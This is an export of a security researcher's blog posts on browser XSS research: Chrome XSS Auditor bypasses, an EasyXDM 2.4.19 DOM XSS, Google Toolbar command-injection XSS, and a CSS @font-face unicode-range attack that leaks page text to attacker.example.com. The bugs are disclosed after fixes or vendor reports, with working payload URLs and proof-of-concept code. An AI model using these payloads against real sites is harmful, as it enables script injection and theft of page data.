<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiO2AsnMDKxp3Qb2fiv2VhBmkR1dGYaMWrMKmq5j94V6C3etO1GVwZAhiLMLC15Hr9SVbyDzNh4UofKXH0f9QHj_CZGGz3uhjv4PV5EJxchih_Q6urJJyK_DusZ-G1GmCs2-e7__Ns3SxE/s1600/xxn_cloud.google.com.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiO2AsnMDKxp3Qb2fiv2VhBmkR1dGYaMWrMKmq5j94V6C3etO1GVwZAhiLMLC15Hr9SVbyDzNh4UofKXH0f9QHj_CZGGz3uhjv4PV5EJxchih_Q6urJJyK_DusZ-G1GmCs2-e7__Ns3SxE/s640/xxn_cloud.google.com.png" width="640" /></a></div>
<br />
<br />
After June 2016 patch, when the XSS filter replaces the <code>.</code>, the <code>mode=block</code> behavior is enforced even if the page does not have <code>X-XSS-Protection</code> header.<br />
<br />
I was surprised and disgusted when the <code>^</code> is displayed but anyway it has finally calmed down!<br />
<br />
Also, in the recent patch(July 2016), it seems that Microsoft killed almost possibilities of XSS attacks exploiting XSS filter. I will write this details in next post :)<br />
<br />
Thanks!Unknownnoreply@blogger.com20tag:blogger.com,1999:blog-3090823890722032925.post-31603883041254171672016-05-18T03:14:00.000-07:002016-05-18T04:11:21.866-07:00XSS Auditor bypass using Flash and base tagA few days ago, I was playing Chrome XSS Auditor bypass with Mario.<br />
<br />
Mario discovered this bypass:<br />
<blockquote class="twitter-tweet" data-lang="ja">
<div dir="ltr" lang="en">
XSS Auditor Bypasses 05.2016<a href="https://t.co/c9UcjpDZZM">https://t.co/c9UcjpDZZM</a> <br />
<br />
(someone asked for PoC and test-case, here you are)</div>
— .mario (@0x6D6172696F) <a href="https://twitter.com/0x6D6172696F/status/732485238329237505">2016年5月17日</a></blockquote>
<script async="" charset="utf-8" src="//platform.twitter.com/widgets.js"></script>
Also I found an another bypass. In this post, I would like to share my vector.<br />
<br />
I have filed this bug on: <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=612672">https://bugs.chromium.org/p/chromium/issues/detail?id=612672</a><br />
<div>
<br />
The vector is this:</div>
<a href="https://vulnerabledoma.in/xss_auditortest?test=1&q=%3Cembed+allowscriptaccess=always+src=/xss.swf%3E%3Cbase+href=//l0.cm/">https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href=//l0.cm/</a><br />
<blockquote class="tr_bq">
<div><span style="background-color: #ffd966;"><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</span></div></blockquote>
Let's take a look at the process until reaching this bypass.<br />
<br />
It is blocked to fetch the external resources using the <code><embed></code>:<br />
<a href="https://vulnerabledoma.in/xss_auditortest?test=1&q=%3Cembed+src=https://evil/%3E">https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+src=https://evil/></a><br />
<blockquote class="tr_bq">
<embed src=https://evil/></blockquote>
But it is not blocked to fetch any same-origin resources having no query string:<br />
<br />
<a href="https://vulnerabledoma.in/xss_auditortest?test=1&q=%3Cembed+src=/aaa%3E">https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+src=/aaa></a><br />
<blockquote class="tr_bq">
<embed src=/aaa></blockquote>
So, if we can change the base URL, it is possible to do XSS attacks.<br />
The <code>base</code> tag is also blocked but if it is not closed with <code>></code>, Auditor does not block in some cases.<br />
<br />
The following case is blocked:<br />
<a href="https://vulnerabledoma.in/xss_auditortest?test=3&q=%3Cbase+href=//evil/">https://vulnerabledoma.in/xss_auditortest?test=3&q=<base+href=//evil/</a><br />
<blockquote class="tr_bq">
<div><base href=//evil/ </div></blockquote>
But the following case is not blocked:<br />
<a href="https://vulnerabledoma.in/xss_auditortest?test=1&q=%3Cbase+href=//evil/">https://vulnerabledoma.in/xss_auditortest?test=1&q=<base+href=//evil/</a><br />
<blockquote class="tr_bq">
<div><base href=//evil/</div></blockquote>
Can you see the difference? The former page exists a white space behind the injection point. It seems it is blocked by Auditor if the page has a white space directly behind the injection point. In other words, we can inject a base tag without being blocked if the page does not have a white space directly behind the injection point.<br />
<br />
Thus, my vector works!<br />
<br />
<a href="https://vulnerabledoma.in/xss_auditortest?test=1&q=%3Cembed+allowscriptaccess=always+src=/xss.swf%3E%3Cbase+href=//l0.cm/">https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href=//l0.cm/</a><br />
<blockquote class="tr_bq">
<div><span style="background-color: #ffd966;"><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</span></div></blockquote>
So, can't we always bypass if the page has a white space directly behind? No! We still have a chance to bypass.<br />
If the <code>"'</code> characters exists under the injection point, we can bypass Auditor using the unclosed attribute quotes, like <code><base href="//evil/</code>.<br />
<br />
It is not blocked in the following condition:<br />
<a href="https://vulnerabledoma.in/xss_auditortest?test=4&q=%3Cembed+allowscriptaccess=always+src=/xss.swf%3E%3Cbase+href=%22//l0.cm/">https://vulnerabledoma.in/xss_auditortest?test=4&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href="//l0.cm/</a><br />
<blockquote class="tr_bq">
<div><br />
<span style="background-color: #ffd966;"><embed allowscriptaccess=always src=/xss.swf><base href="//l0.cm/</span><br />
</div><div id="x">AAA</div></blockquote>
<div>
I think this bypass is useful because most pages have the <code>"'</code> characters under the injection point.<br />
<br />
FYI, also <code><script src=/xss.js></script><base href=//evil/</code> is not blocked. But we can't load the external resource because the loading is started before the base URL is set:<br />
<br />
<a href="https://vulnerabledoma.in/xss_auditortest?test=1&q=%3Cscript%20src=/xss.js%3E%3C/script%3E%3Cbase%20href=//evil/">https://vulnerabledoma.in/xss_auditortest?test=1&q=%3Cscript%20src=/xss.js%3E%3C/script%3E%3Cbase%20href=//evil/</a><br />
<br />
Thus, I used Flash.<br />
<br />
That's all. Thanks for reading my post :)</div>
Unknownnoreply@blogger.com7tag:blogger.com,1999:blog-3090823890722032925.post-5066079002251621632016-04-10T06:30:00.001-07:002016-04-10T07:44:23.810-07:00Abusing docmode inheritance: EasyXDM 2.4.19 DOMXSSIn this post, I would like to explain an XSS issue of EasyXDM 2.4.19.<br />
I reported it and it was fixed by the developer.<br />
<br />
If you are users, you should update it to EasyXDM 2.4.20.<br />
<br />
Release Security update - 2.4.20 · oyvindkinsey/easyXDM · GitHub<br />
<a href="https://github.com/oyvindkinsey/easyXDM/releases/tag/2.4.20">https://github.com/oyvindkinsey/easyXDM/releases/tag/2.4.20</a><br />
<br />
<br />
This bug is different from the following <a href="https://twitter.com/kkotowicz">@kkotowicz</a>'s bugs.<br />
<br />
<a href="http://blog.kotowicz.net/2013/09/exploiting-easyxdm-part-1-not-usual.html">http://blog.kotowicz.net/2013/09/exploiting-easyxdm-part-1-not-usual.html</a><br />
<a href="http://blog.kotowicz.net/2013/10/exploiting-easyxdm-part-2-considered.html">http://blog.kotowicz.net/2013/10/exploiting-easyxdm-part-2-considered.html</a><br />
<a href="http://blog.kotowicz.net/2014/01/xssing-with-shakespeare-name-calling.html">http://blog.kotowicz.net/2014/01/xssing-with-shakespeare-name-calling.html</a><br />
<h2>
Technical Details</h2>
To reproduce this bug, we need a little unusual trick. This bug works on only MSIE. Also, the document mode should be old (IE7 or 5). This is because XSS exists in the part where only buggy browser can pass through. And only old document mode can meet this condition.<br />
<br />
Let's look at the code. XSS occurs in the following <code>createElement()</code> part:<br />
<br />
<a href="https://github.com/oyvindkinsey/easyXDM/blob/2.4.19/src/Core.js#L507-509">https://github.com/oyvindkinsey/easyXDM/blob/2.4.19/src/Core.js#L507-509</a><br />
<blockquote class="tr_bq">
if (HAS_NAME_PROPERTY_BUG) {<br />
frame = document.createElement("<iframe name=\"" + config.props.name + "\"/>");<br />
}</blockquote>
<br />
The <code>HAS_NAME_PROPERTY_BUG</code> variable of the <code>if</code> statement condition becomes <code>true</code> on an only buggy browser. It is assigned in the following function:<br />
<br />
<a href="https://github.com/oyvindkinsey/easyXDM/blob/2.4.19/src/Core.js#L474-482">https://github.com/oyvindkinsey/easyXDM/blob/2.4.19/src/Core.js#L474-482</a><br />
<blockquote class="tr_bq">
function testForNamePropertyBug(){<br />
var form = document.body.appendChild(document.createElement("form")), input = form.appendChild(document.createElement("input"));<br />
input.name = IFRAME_PREFIX + "TEST" + channelId; // append channelId in order to avoid caching issues<br />
HAS_NAME_PROPERTY_BUG = input !== form.elements[input.name];<br />
document.body.removeChild(form);<br />
// #ifdef debug<br />
_trace("HAS_NAME_PROPERTY_BUG: " + HAS_NAME_PROPERTY_BUG);<br />
// #endif<br />
}</blockquote>
This code creates a form element and a input element with a name attribute and tries to access to a input element via the name. It seems that IE7 mode cannot access to a element created dynamically with JavaScript via the name. And this code is for testing it.<br />
<br />
I created a page for testing this part. You can confirm that the <code>HAS_NAME_PROPERTY_BUG</code> variable becomes <code>true</code> from MSIE.<br />
<br />
<a href="http://vulnerabledoma.in/easyxdm/name_property_test.html">http://vulnerabledoma.in/easyxdm/name_property_test.html</a><br />
<br />
So, let's confirm this XSS using the vulnerable EasyXDM.<br />
<br />
Go to the following URL and change IE7 mode via F12 Developer Tools( F12 -> Emulation tab ). You should see an alert dialog.<br />
<br />
<a href="http://vulnerabledoma.in/easyxdm/2.4.19_index.html?xdm_e=http%3A%2F%2Fvulnerabledoma.in&xdm_c=%22onload%3dalert(document.domain)//&xdm_p=0">http://vulnerabledoma.in/easyxdm/2.4.19_index.html?xdm_e=http%3A%2F%2Fvulnerabledoma.in&xdm_c=%22onload%3dalert(document.domain)//&xdm_p=0</a><br />
<br />
OK, we knew that it actually works. But it works on only IE7 mode so far. This means that an opportunity of attack is very limited.<br />
<br />
So, we use the trick called "document mode inheritance" which I took up in my slides recently.<br />
<br />
<script async="" class="speakerdeck-embed" data-id="d0225b4050874512ad25e17fff4548ee" data-ratio="1.33333333333333" data-slide="37" src="//speakerdeck.com/assets/embed.js"></script>
<br />
<br />
Let's use this!<br />
<br />
<a href="http://l0.cm/easyxdm/poc.html">http://l0.cm/easyxdm/poc.html</a><br />
<blockquote class="tr_bq">
<meta http-equiv="x-ua-compatible" content="IE=5"><br />
<iframe src="//vulnerabledoma.in/easyxdm/2.4.19_index.html?xdm_e=http%3A%2F%2Fvulnerabledoma.in&xdm_c=%22onload%3dalert(document.domain)//&xdm_p=0"></iframe><br />
<script>document.write("document.documentMode: "+document.documentMode)</script></blockquote>
You still cannot see an alert dialog. The parent window is running in IE5 mode by the <code>meta</code> tag. But the <code>iframe</code> is running in IE8 mode. This is because the <code>iframe</code> page has <code><!DOCTYPE html></code>. If it exists, IE11 can bring down the document mode until IE8 mode. To XSS, we somehow have to bring down to IE7 mode.<br />
<br />
No worries! Recently I found that IE has the strong inheritance ability at the specific place. You can test this from:<br />
<br />
<a href="http://l0.cm/easyxdm/poc.eml">http://l0.cm/easyxdm/poc.eml</a><br />
<br />
Finally, you can see an alert dialog. A difference between the former and this page is that the page is a <code>Content-Type: message/rfc822</code> format, not <code>text/html</code>. As I have shown in the following my slides, IE/Edge still can open a <code>message/rfc822</code> document into the browser.<br />
<br />
<script async class="speakerdeck-embed" data-slide="44" data-id="d0225b4050874512ad25e17fff4548ee" data-ratio="1.33333333333333" src="//speakerdeck.com/assets/embed.js"></script>
<br />
It seems that a <code>message/rfc822</code> document is rendered in IE5 mode by default. And it seems its docmode inheritance ability is stronger more than a <code>text/html</code> page. Even if the page has <code><!DCOTYPE html></code>, we can bring down the document mode until IE7 mode. Due to this, we can reach the vulnerable code. w00t! :)<br />
<br />
Using this technique, it can extend the impact. The problem affecting only IE7 mode becomes the problem affecting all IE11 users without being changed to an old document mode by users. It's very useful technique, isn't it? :)<br />
<br />
I wrote about XSS in EasyXDM 2.4.19.<br />
That's all. Thank you for reading my post!Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-3090823890722032925.post-20728580932608535362016-01-29T01:49:00.000-08:002016-04-10T06:43:54.875-07:00XSS using Google Toolbar's commandIn this post, I would like to share two XSSes in toolbar.google.com. I discovered in June 2015 and it has already been fixed.<br />
Those bugs are a little unusual. It works only IE which Google Toolbar is installed.<br />
IE's Google Toolbar has some special commands. We can execute from web UI of toolbar.google.com.<br />
<br />
For example, you can find the command from: <a href="http://toolbar.google.com/fixmenu">http://toolbar.google.com/fixmenu</a><br />
<blockquote class="tr_bq">
<script language="JavaScript"> <!--<br />
function command(s) {<br />
window.location = 'http://toolbar.google.com/command?key=' + document.googleToken + s;<br />
}<br />
function fixMenu() {<br />
command('&fixmenu=1');<br />
alert(document.all['restartmessage'].innerText)<br />
}<br />
// --><br />
</script><br />
....<br />
<input type=button onclick='javascript:fixMenu()' value="Reset IE's Toolbar menu"></blockquote>
You can reset toolbar settings when you clicked the button in this page. How does it execute command? Let's take a look at <code>command()</code> function.<br />
<blockquote class="tr_bq">
window.location = 'http://toolbar.google.com/command?key=' + document.googleToken + s;</blockquote>
Usually, we will jump to "http://toolbar.google.com/command?..." by this code. But on IE which Google Toolbar is installed, the navigation to "http://toolbar.google.com/command" is treated as special command. To execute command, we will need to put command name to query string. As you can see above page, <code>fixmenu=1</code> is associated with the reset settings.<br />
<br />
<code>document.googleToken</code> is used for CSRF token. <code>document.googleToken</code> is random value which is set by Google Toolbar. If the token is not correct, the command execution will fail. toolbar.google.com is the only domain which can access the token.<br />
<br />
OK, that's about it.<br />
<h2>
Examine Toolbar's command</h2>
First, to find commands, I explored content on toolbar.google.com and toolbar's binary. Then, I noticed <code>navigateto</code> command. As its name suggests, <code>navigateto</code> command is used for navigation. When I put the following script into IE's developer console on toolbar.google.com, it was actually worked. It took me to example.com.<br />
(Note: It seems this command was removed on latest Google Toolbar )<br />
<blockquote class="tr_bq">
location="http://toolbar.google.com/command?key="+document.googleToken+"&navigateto=http://example.com/"</blockquote>
Also I tested javascript: URL.<br />
<blockquote class="tr_bq">
location="http://toolbar.google.com/command?key="+document.googleToken+"&navigateto=javascript:alert(1)"</blockquote>
<br />
Then I got an alert dialog! But It's too early to rejoice because we can't know <code>document.googleToken</code> from external page. In other words, if an attacker can get <code>document.googleToken</code>, it becomes XSS hole directly.<br />
<h2>
XSS part 1</h2>
I went around to resources of toolbar.google.com domain and I found the following page:<br />
<div>
<br />
<a href="http://toolbar.google.com/dc/dcuninstall.html">http://toolbar.google.com/dc/dcuninstall.html</a> (<a href="https://web.archive.org/web/20110928034724/">WebArchive</a>)<br />
<blockquote class="tr_bq">
<script language="JavaScript"> <!--<br />
function command(s) {<br />
window.location = 'http://toolbar.google.com/command?key=' + document.googleToken + s;<br />
}<br />
function OnYes() {<br />
var path = document.location.href.substring(0,document.location.href.lastIndexOf("/") + 1);<br />
command("&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=" + path + "dcuninstalled.html");<br />
// window.location=path + "dcuninstallfailed.html";<br />
}<br />
// --><br />
</script><br />
...<br />
<script language="JavaScript"> <!--<br />
document.write('<button default class=button name=yes ');<br />
document.write('onclick="OnYes(); ">Uninstall Google Compute</button>');<br />
// --><br />
</script> </blockquote>
The page has the button which can execute command. If button is clicked, it calls <code>command("&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=" + path + "dcuninstalled.html");</code> function via <code>OnYes()</code> function.<br />
<br />
Let's put command details aside, take a look at the <code>path</code> variable. The <code>path</code> variable is set by the following line:<br />
<blockquote class="tr_bq">
var path = document.location.href.substring(0,document.location.href.lastIndexOf("/") + 1);</blockquote>
It cuts <code>location.href</code> to use as command string. I believe that the coder expects following bold string:<br />
<br />
<br />
<b>https://toolbar.google.com/dc/</b>dcuninstall.html<br />
<br />
But this code is not good. If the URL has <code>/</code> in the query or hash, it will cut unexpected URL string.<br />
<br />
<b>https://toolbar.google.com/dc/dcuninstall.html?xxx/</b>yyy<br />
<br />
So, what will happen if we put the following string?<br />
<br />
<b>https://toolbar.google.com/dc/dcuninstall.html?&navigateto=javascript:alert(1)//</b><br />
<div>
<br />
This URL is assigned into the <code>path</code> variable and it is used for the part of the command string, like this:<br />
<br /></div>
<div>
http://toolbar.google.com/command?key=[TOKEN]&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=<b>https://toolbar.google.com/dc/dcuninstall.html?<span style="color: red;">&</span>navigateto=javascript:alert(1)//</b>dcuninstalled.html</div>
<br />
There are two <code>navigateto</code> in this command. In this case, it seems the back string is used as the command. Therefore, the command navigates us to <code>javascript:alert(1)//dcuninstalled.html</code>!!<br />
<br />
In this way, I have achieved XSS without knowing <code>document.googleToken</code>.<br />
<h2>
XSS part 2</h2>
After that, I found another interesting page:<br />
<br />
<a href="https://toolbar.google.com/buttons/edit/index.html">https://toolbar.google.com/buttons/edit/index.html</a><br />
<div>
<blockquote class="tr_bq">
<script language=JavaScript><br />
<!--<br />
document.custom_button_uid = "";<br />
function command(s) {<br />
window.location = "http://toolbar.google.com/command?key=" +<br />
document.googleToken + s;<br />
}<br />
<br />
function Load() {<br />
var url = window.document.URL.toString();<br />
var url_pieces = url.split("?");<br />
if (url_pieces.length > 1) {<br />
var params = url_pieces[1].split("&");<br />
var i = 0;<br />
for (i = 0; i < params.length; i++) {<br />
param_pieces = params[i].split("=");<br />
if (param_pieces.length == 2 &&<br />
param_pieces[0] == "custom_button_uri" &&<br />
param_pieces[1].length > 0) {<br />
document.custom_button_uid = unescape(param_pieces[1]);<br />
}<br />
} <br />
}<br />
if (document.custom_button_uid != "") {<br />
action.innerHTML = document.forms[0].edit_mode_title.value;<br />
command("&custom-button-load=" + document.custom_button_uid);<br />
}<br />
}<br />
....<br />
// --><br />
</script><br />
<body onload="Load()"></blockquote>
Let's take a look at this code. </div>
First, <code>Load()</code> function is called:<br />
<blockquote class="tr_bq">
<body onload="Load()"> </blockquote>
<code>Load()</code> function sets <code>document.URL</code> string to <code>url</code> variable:<br />
<blockquote class="tr_bq">
var url = window.document.URL.toString();</blockquote>
The query is decomposed and parameter name and value are took out. Then, as you can see the bold string below, the code tries to find <code>custom_button_uri</code> parameter. If it can find the parameter, it assigns the parameter value to the <code>document.custom_button_uid</code> variable.<br />
<blockquote class="tr_bq">
var url_pieces = url.split("?");<br />
if (url_pieces.length > 1) {<br />
var params = url_pieces[1].split("&");<br />
var i = 0;<br />
for (i = 0; i < params.length; i++) {<br />
param_pieces = params[i].split("=");<br />
if (param_pieces.length == 2 &&<br />
<b>param_pieces[0] == "custom_button_uri"</b> &&<br />
param_pieces[1].length > 0) {<br />
document.custom_button_uid = unescape(param_pieces[1]);<br />
}<br />
} <br />
}</blockquote>
<br />
The <code>document.custom_button_uid</code> variable is passed to <code>command()</code> function:<br />
<blockquote class="tr_bq">
if (document.custom_button_uid != "") {<br />
action.innerHTML = document.forms[0].edit_mode_title.value;<br />
command("&custom-button-load=" +<b> document.custom_button_uid</b>);<br />
}</blockquote>
This means that user input is passed into command via the <code>custom_button_uri</code> query parameter.<br />
Let's take a look at the assignment part again:<br />
<blockquote class="tr_bq">
document.custom_button_uid = <b>unescape(</b>param_pieces[1]<b>)</b>;</blockquote>
<div>
<br />
Fortunately, the <code>custom_button_uri</code> value passes through <code>unescape()</code> method! This means that we can put urlencoded <code>&</code> and <code>=</code>, like this:</div>
<br />
https://toolbar.google.com/buttons/edit/index.html?custom_button_uri=<b>%26navigateto%3Djavascript:alert(document.domain)</b><br />
<br />
Finally, the command string is:<br />
<br />
http://toolbar.google.com/command?key=[TOKEN]&custom-button-load=&navigateto=<b>javascript:alert(document.domain)</b><br />
<br />
Done!<br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4n4tCgq6wR0VO3R-L1qdja5LES50atcNZJK3kr1jKl70xs_Yb9Hkx61PP2x1x1pVUe5X_wT7PdQpuIf5hOXLt-hkHxuhrX14tdimvtjADe2D-0pMYHgvo3f6-acRkWcB2yxM7AeOD_wc/s1600/toolbar.google.com_xss.png" imageanchor="1"><img border="0" height="348" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4n4tCgq6wR0VO3R-L1qdja5LES50atcNZJK3kr1jKl70xs_Yb9Hkx61PP2x1x1pVUe5X_wT7PdQpuIf5hOXLt-hkHxuhrX14tdimvtjADe2D-0pMYHgvo3f6-acRkWcB2yxM7AeOD_wc/s640/toolbar.google.com_xss.png" width="640" /></a><br />
<h2>
Rewards</h2>
I reported the bugs via <a href="https://www.google.com/about/appsecurity/reward-program/">Google VRP</a> and I received the reward of $3133.7 × 2.<br />
It is not easy to find and understand non-documented commands, but it was a fun time.<br />
<br />
And finally, I would like to introduce the holiday gift that I received from Google last year.<br />
(You can find past gifts from: <a href="http://masatokinugawa.l0.cm/2012/02/googlechromebook.html">Chromebook</a>, <a href="http://masatokinugawa.l0.cm/2012/12/google-nexus10.html">Nexus 10</a>, <a href="http://masatokinugawa.l0.cm/2014/01/google-nexus5.html">Nexus 5</a>, <a href="http://masatokinugawa.l0.cm/2015/01/google-moto360.html">Moto 360</a> )<br />
It is the <a href="https://inversepath.com/usbarmory">USB Armory</a>, Bug Bountopoly and post card!<br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtOSLqeyqBS_QNoSgbA96jpHAewMp23cReumVjY02pT8evP4PyY3qH1Dl9AXpHBg3Moy1MKHAQ6CZ2h3KjE8RH5NmlJ18h7QlGMz3bgjxxMrpsQNZlEPdbtBhjjKWMDVBTx4tCAxNavJE/s1600/vrp.jpg" imageanchor="1"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtOSLqeyqBS_QNoSgbA96jpHAewMp23cReumVjY02pT8evP4PyY3qH1Dl9AXpHBg3Moy1MKHAQ6CZ2h3KjE8RH5NmlJ18h7QlGMz3bgjxxMrpsQNZlEPdbtBhjjKWMDVBTx4tCAxNavJE/s640/vrp.jpg" width="640" /></a><br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3VV7DdWHH2ZDKkZK4yAR61vLj9MEdP3cyz-aHga_YQy268-6WfD6zK12Fw5U7zfxbH1nMXpWThFT8FPi44hyphenhyphenntXMd2Mv3Fs72TsNhE1bXBpZ73Hfplh8qlSG5xBCFm1DFOe-yv-N32lU/s1600/bbt.png" imageanchor="1"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3VV7DdWHH2ZDKkZK4yAR61vLj9MEdP3cyz-aHga_YQy268-6WfD6zK12Fw5U7zfxbH1nMXpWThFT8FPi44hyphenhyphenntXMd2Mv3Fs72TsNhE1bXBpZ73Hfplh8qlSG5xBCFm1DFOe-yv-N32lU/s640/bbt.png" width="640" /></a><br />
<br />
Stephen of Google Security Team gave me the Japanese message and <a href="http://www.slideshare.net/codeblue_jp/cb14-masato-kinugawaen">bug hunter's llustration</a>. It's so lovely!<br />
I will continue the bug reports again this year. Thank you so much!</div>
Unknownnoreply@blogger.com9tag:blogger.com,1999:blog-3090823890722032925.post-9267310914088930412015-12-16T10:14:00.000-08:002015-12-16T10:14:17.193-08:00X-XSS-Nightmare: XSS Attacks Exploiting XSS Filter<div>
In this post, I would like to share XSS attack using IE's XSS filter. This issue was fixed in <a href="https://technet.microsoft.com/en-us/library/security/ms15-dec.aspx">the December patch</a> by Microsoft. (CVE-2015-6144 / CVE-2015-6176)</div>
<div>
<br /></div>
<div>
<div>
I spoke about this topics in the Japanese info-sec conference called CODE BLUE. You can find my name <a href="http://codeblue.jp/2015/en/contents/speakers.html#speaker-kinugawa">here</a>. In my presentation, I talked about only the concept and I didn't touch details of attack techniques because it was not fixed at that time. </div>
</div>
<div>
<br /></div>
<div>
Today, I can finally release hidden slides! Yeah!</div>
<div>
The real X-XSS-Nightmare slides is the following.<br />
<br />
<iframe allowfullscreen="" frameborder="0" height="485" marginheight="0" marginwidth="0" scrolling="no" src="//www.slideshare.net/slideshow/embed_code/key/gLGW3eRYhvmd58" style="border-width: 1px; border: 1px solid #CCC; margin-bottom: 5px; max-width: 100%;" width="595"> </iframe> <br />
<div style="margin-bottom: 5px;">
<strong> <a href="https://www.slideshare.net/masatokinugawa/xxn-en" target="_blank" title="X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter">X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter</a> </strong> from <strong><a href="https://www.slideshare.net/masatokinugawa" target="_blank">Masato Kinugawa</a></strong> </div>
<div>
<br />
Some attack vectors which I have reported are not fixed yet. So, I had to remove some slides :p<br />
<br />
You can reproduce some PoC from this page:<br />
<br />
<a href="http://l0.cm/xxn/" style="font-size: 30px;">http://l0.cm/xxn/</a></div>
<div>
<br />
<br />
I hope you will enjoy it!</div>
</div>
Unknownnoreply@blogger.com4tag:blogger.com,1999:blog-3090823890722032925.post-1743446027112757412015-11-20T08:02:00.001-08:002015-11-20T08:02:07.198-08:00My Presentation at AVTOKYO2015: Bug-hunter's SorrowIn this post, I'd like to share my slides in <a href="http://en.avtokyo.org/">AVTOKYO2015</a>. AVTOKYO2015 is a computer security conference which was held in November 14, 2015 at Tokyo.<br />
<br />
In September 2013, the incident happened. My internet connection was blocked by ISP because they regarded my XSS request as attack. I spoke about details of that sad story. Also, you can see my income in 2014 and technical details of interesting XSS bugs.<br />
<br />
<iframe allowfullscreen="" frameborder="0" height="485" marginheight="0" marginwidth="0" scrolling="no" src="//www.slideshare.net/slideshow/embed_code/key/srISphLyKpHhf" style="border-width: 1px; border: 1px solid #CCC; margin-bottom: 5px; max-width: 100%;" width="595"> </iframe> <br />
<div style="margin-bottom: 5px;">
<strong> <a href="https://www.slideshare.net/masatokinugawa/avtokyo-bug-hunters-sorrow-en" target="_blank" title="Bug-hunter's Sorrow">Bug-hunter's Sorrow</a> </strong> from <strong><a href="https://www.slideshare.net/masatokinugawa" target="_blank">Masato Kinugawa</a></strong> </div>
<br />
<br />
FYI, I spoke about "Bug-hunter's Joy" before. Read it, if you please.<br />
<a href="http://mksben.l0.cm/2015/07/codeblue.html">http://mksben.l0.cm/2015/07/codeblue.html</a><br />
<br />
I hope you will enjoy it.<br />
Thank you!Unknownnoreply@blogger.com3tag:blogger.com,1999:blog-3090823890722032925.post-75997549677940169382015-10-23T08:01:00.000-07:002015-10-23T08:41:30.066-07:00CSS based Attack: Abusing unicode-range of @font-faceIn this post, I would like to share about new CSS based attack with <a href="https://developer.mozilla.org/en/docs/Web/CSS/%40font-face/unicode-range">unicode-range descriptor of @font-face rule</a>.<br />
<br />
Using this technique, an attacker can read page's text partially by CSS only.<br />
An attacker might use this technique in the following cases:<br />
<br />
- Browser's XSS filter bypass (e.g. XSS Auditor does not block <style> injection)<br />
- Only CSS injection is allowed in the target page<br />
<br />
As far as I know, known CSS based attack can read attribute (See Attribute Reader: <a href="http://p42.us/css/">http://p42.us/css/</a>) but can't read characters of text node. This vector can do it, not perfect though :)<br />
<br />
So far, this vector can be used in Chrome and Firefox Nightly 44.<br />
<br />
Let's go:<br />
<br />
<blockquote class="tr_bq">
<style><br />
@font-face{<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>font-family:poc;<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>src: url(http://attacker.example.com/?A); /* fetched */<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>unicode-range:U+0041;<br />
}<br />
@font-face{<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>font-family:poc;<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>src: url(http://attacker.example.com/?B); /* fetched too */<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>unicode-range:U+0042;<br />
}<br />
@font-face{<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>font-family:poc;<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>src: url(http://attacker.example.com/?C); /* not fetched */<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>unicode-range:U+0043;<br />
}<br />
#sensitive-information{<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>font-family:poc;<br />
}<br />
</style><br />
<p id="sensitive-information">AB</p></blockquote>
<br />
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".<br />
<br />
Let's see another example: <a href="http://vulnerabledoma.in/poc_unicode-range2.html">http://vulnerabledoma.in/poc_unicode-range2.html</a><br />
<br />
You can see external requests including page text (M,a,s,t,o,K,i,n,u,g,w) from DevTools. Like the following:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhvloLF4w8TJLH4r-iyuQHS4i3iSPoHUVE82yXTKqZvuUDTKnVelkVz7jdGInqgg-QdZRfMujnK3cIq-30X-xfA5DLhwRYZeQrRWKliXSMHH4W8_UpjZZF7Riqo_HqP3YVpeKFOoBbdz0/s1600/unicode-range.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhvloLF4w8TJLH4r-iyuQHS4i3iSPoHUVE82yXTKqZvuUDTKnVelkVz7jdGInqgg-QdZRfMujnK3cIq-30X-xfA5DLhwRYZeQrRWKliXSMHH4W8_UpjZZF7Riqo_HqP3YVpeKFOoBbdz0/s1600/unicode-range.png" /></a></div>
<br />
<br />
As you can see, we can't know duplicated characters. But in some cases like this PoC, I think that it can give an attacker enough information.<br />
<br />
I reported this trick to Chrome Team but it has been marked WontFix on <a href="https://code.google.com/p/chromium/issues/detail?id=543078">Issue 543078</a>.<br />
<br />
